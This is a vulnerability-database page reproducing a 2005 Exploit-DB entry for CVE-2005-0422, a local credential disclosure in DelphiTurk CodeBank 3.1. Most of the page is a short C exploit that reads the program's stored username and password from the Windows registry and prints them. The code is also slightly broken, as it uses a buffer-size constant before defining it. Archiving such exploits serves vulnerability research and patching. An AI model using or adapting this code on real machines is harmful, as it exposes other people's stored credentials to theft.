Lucene search
+L

DelphiTurk CodeBank 3.1 - Local Username and Password Disclosure

🗓️ 08 Feb 2005 00:00:00Reported by KozanType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

DelphiTurk CodeBank 3.1 exposes local usernames and passwords to users through registry access.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2005-0422
15 Feb 200505:00
cve
cvelist
Cvelist
CVE-2005-0422
15 Feb 200505:00
cvelist
euvd
EUVD
EUVD-2005-0423
7 Oct 202500:30
euvd
nvd
NVD
CVE-2005-0422
27 Apr 200504:00
nvd
/*******************************************************************

DelphiTurk CodeBank Local Exploit

Application: DelphiTurk CodeBank 3.1 (and previous versions)
Procuder: Delphiturk.com
Vulnerable Description: Delhiturk CodeBank discloses username and password to
local users.


Coded by: Kozan
Web: www.netmagister.com
Mail: kozan[at]netmagister[dot]com

*******************************************************************/


#include <stdio.h>
#include <windows.h>

HKEY hKey;
char username[BUFSIZE], password[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
#define BUFSIZE 100

int main(void)
{

	 if(RegOpenKeyEx(HKEY_CURRENT_USER,
					"Software\\DelphiTurk\\Codebank",
					0,
					KEY_QUERY_VALUE,
					&hKey) == ERROR_SUCCESS)
	 {

            lRet = RegQueryValueEx( hKey, "username", NULL, NULL,
               (LPBYTE) username, &dwBufLen);

			if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
				 RegCloseKey(hKey);
				 printf("En error occured!");
				 return 0;
			}


			lRet = RegQueryValueEx( hKey, "password", NULL, NULL,
               (LPBYTE) password, &dwBufLen);

			if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
				 RegCloseKey(hKey);
				 printf("En error occured!");
				 return 0;
			}
            RegCloseKey( hKey );
			printf("DelphiTurk CodeBank Local Exploit by Kozan\n\n");
			printf("Username: %s\n",username);
			printf("Password: %s\n",password);


	 }
	 else{
		 printf("DelphiTurk Codebank is not installed on your system!");
	 }


	return 0;
}


// milw0rm.com [2005-02-08]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2005 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00772
37